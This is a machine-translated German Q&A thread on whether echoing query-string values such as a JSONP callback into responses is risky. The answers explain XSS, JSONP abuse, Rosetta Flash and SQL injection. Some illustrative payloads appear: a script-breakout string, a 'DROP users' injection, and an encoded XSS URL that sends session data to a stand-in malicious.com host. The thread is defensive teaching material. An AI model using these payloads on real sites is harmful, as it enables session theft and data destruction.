it-swarm.com.de

Ist das direkte Einfügen von Querystring-Werten in HTML ein Sicherheitsrisiko?

Jemand hat auf meiner Website einen Fehler gemeldet, bei dem ich ein Problem nicht wirklich in Betracht ziehe. Meine Website hat eine ähnliche URL:

www.site.com/ajax/ads.asp?callback=[text injection]

Der Dateityp ist also application/json, und ich sehe nicht, wie sich dies auf die Sicherheit der Site auswirken kann.

Sein Streitpunkt war, dass es crossdomain.xml umgehen kann, wenn jemand eine Seite mit diesem Inhalt besucht:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

Ich habe danach gesucht, konnte aber keine Informationen finden, die besagen, dass das, was er sagt, wahr ist. Ich brauche jemanden, der mir sagt, wie ernst das ist, wenn ich wirklich meine Skripte durchgehen muss, um jede Instanz dieses Fehlers zu beheben.

53
Daniel

Die Klartextinjektion ist ein Problem. Angenommen, Sie haben eine Seitenvorlage, die folgendermaßen aussieht:

Hi <name>,

Blah blah blah.

Und Sie können von der URL injizieren.

Ein Angreifer kann eine E-Mail mit einem Link zu www.example.com/ajax/ads.asp?name=Foo%2C+ erstellen erfordert + dass + Sie + die + Version + vul.ne.rabl.e.% 0D% 0A% 0D% 0AHi% 020Foo verwenden (die auch minimiert werden könnte).

Dadurch sieht Ihre Seite folgendermaßen aus:

Hallo Foo, Sie haben das Flash-Plugin der falschen Version. Unsere Unternehmensrichtlinien verlangen, dass Sie die Version vul.ne.rabl.e verwenden.

Hallo Foo,

Bla bla bla.

Die Nachricht scheint von Ihrer Website zu stammen, und da Ihre Benutzer Ihrer Website vertrauen, werden sie wahrscheinlich den Anweisungen glauben, die "Sie" gegeben haben.

57
Lie Ryan

Cross Site Scripting ist keine Bedrohung für die Integrität Ihres Webservers. Das Problem besteht vielmehr darin, dass ein Angreifer eine site.com-URL erstellen kann, die beliebiges JavaScript ausführt. Wenn Ihre Benutzer Ihrer Website vertrauen und zulassen, dass sie tut, was sie will, kann dies eine große Sicherheitslücke sein.

44
Justin

Stellen Sie sich vor, der injizierte Text wäre:

"></script><script>alert("hi");"

was würde es so aussehen lassen:

<script src="http://www.site.com/ajax/ads.asp?callback="></script><script>alert("hi");""></script>

Dann haben Sie ein funktionierendes benutzerdefiniertes Skript, das auf der Seite alles tun kann, was es will.

23
jfriend00

Sein Streitpunkt war, dass es domänenübergreifende Richtlinien umgehen kann, wenn jemand eine Seite mit diesem Inhalt besucht:

<script src=www.site.com/ajax/ads.asp?callback=[some javascript]></script>

Ja, er hat recht. Aber das scheint keine Sicherheitslücke zu sein, sondern sieht aus wie eine Funktion. Diese Technik zur Umgehung der gleichen Ursprungsrichtlinie heißt JSONP (und ist sehr gut dokumentiert).

Es gibt jedoch einige Fänge:

  • Die richtige content-type für JSONP-Antworten ist application/javascript, da es sich um ausführbare Skripte handelt. Es ist nicht mehr einfach JSON.
  • Wenn Sie JSONP nicht kennen oder nicht wissen, wie es funktioniert, ist es verdächtig, dass Sie es verwenden. Ob dies ein schwerwiegender Fehler ist, hängt davon ab, wofür Sie ihn verwenden:
  • JSONP kann ausgenutzt werden , da dies seine Natur ist. Stellen Sie sicher, dass Sie keine vertraulichen Daten senden, sondern nur solche Informationen, auf die Sie öffentlich zugreifen möchten.
    Stellen Sie sicher, dass alle Anfragen nach JSONP-Ressourcen so behandeln, als hätten sie keine Anmeldeinformationen.
2
Bergi

Es gibt einen Angriff, der genau diesen Angriffsvektor verwendet und Rosetta Flash ( CVE-2014-4671 ) heißt.

Wie auf der Rosetta Flash-Seite erläutert, besteht die Sicherheitsanfälligkeit darin, dass:

  1. Mit Flash kann eine SWF-Datei Cookie-tragende GET- und POST -Anfragen an die Domain, die sie hostet ausführen, ohne crossdomain.xml Prüfung. Aus diesem Grund ist es gefährlich, Benutzern das Hochladen einer SWF-Datei in eine vertrauliche Domäne zu ermöglichen: Durch das Hochladen einer sorgfältig gestalteten SWF kann ein Angreifer das Opfer dazu bringen, Anforderungen mit Nebenwirkungen auszuführen und vertrauliche Daten in eine externe, vom Angreifer kontrollierte Domäne zu filtern.

  2. [~ # ~] jsonp [~ # ~], per Design, ermöglicht es einem Angreifer, die ersten Bytes der Ausgabe zu steuern eines Endpunkts durch Angabe von callback Parameter in der Anforderungs-URL.

  3. SWF-Dateien können eingebettet in einer von Angreifern kontrollierten Domäne mit einem Content-Type-Forcing-Tag <object> Angegeben werden, und wird als Flash as ausgeführt solange der Inhalt wie eine gültige Flash-Datei aussieht.

Diese spezielle Sicherheitsanfälligkeit wurde durch ein Update auf Flash Player behoben. Ältere Versionen sind jedoch weiterhin anfällig, und dieselbe Technik könnte möglicherweise zum Angriff auf andere Systeme verwendet werden.

Verallgemeinern dieser spezifischen Sicherheitsanfälligkeit: Wenn immer möglich, ist es am besten, einem Angreifer nicht zu erlauben, die ersten Bytes einer von Ihnen gesendeten Antwort zu steuern, da dies der Teil ist, der von Browsern und anderen Clients "hilfreich" verwendet wird, um Ihren Inhaltstyp und Ihre Browser zu überwachen Es ist bekannt, dass Content-Type - Header in der Vergangenheit basierend auf beschnüffelten Inhalten überschrieben wurden.

2
Daniel Pryden

Ich denke, OP konzentriert sich auf den falschen Ort, indem es sich die URL ansieht. Alle GET- und POST - Parameter können missbraucht werden, unabhängig davon, wie sie genannt werden. Der einzige relevante Code ist der, der verwendet diesen Parameter.

Beispielsweise können Sie eine SQL-Injection-Sicherheitsanfälligkeit haben, wenn Sie diesen Parameter mit einer SQL-Abfrage verknüpfen:

db_query("SELECT code FROM callbacks WHERE id = " + param("callback"))

Ein Benutzer könnte besuchen:

www.site.com/ajax/ads.asp?callback=0;DROP+users

Sie haben eine XSS-Sicherheitsanfälligkeit, wenn Sie Folgendes tun:

return new Response("Hello " + param("callback"))

Ein Benutzer könnte besuchen:

www.site.com/ajax/ads.asp?callback=%3Cscript%3EaddToDom(%27%3Cimg%20src%3D%22http%3A%2F%2Fmalicious.com%2F%3Fdata%3D%27%2BharvestSessionData()%2B%27%22%2F%3E%27)%3C%2Fscript%3E

Dies sind alles Variationen desselben Themas: Alle Sprachen werden als Zeichenfolgen behandelt, sodass sie gemischt werden können. Andere Beispiele sind Shell-Injection, eval-basierte Code-Injection, Ausbrechen von "Zitaten" usw.

Sie können dieselben Sicherheitsanfälligkeiten auch verschieben, wenn Sie den Parameter irgendwo speichern:

// Escape the parameter when we use it in our SQL
db_query('INSERT INTO callbacks (:cb)', {'cb': param('callback')})

// But suffer the same problems in a later request
return new Response("Our callbacks include " + db_query("SELECT * FROM callbacks").join(", "))
1
Warbo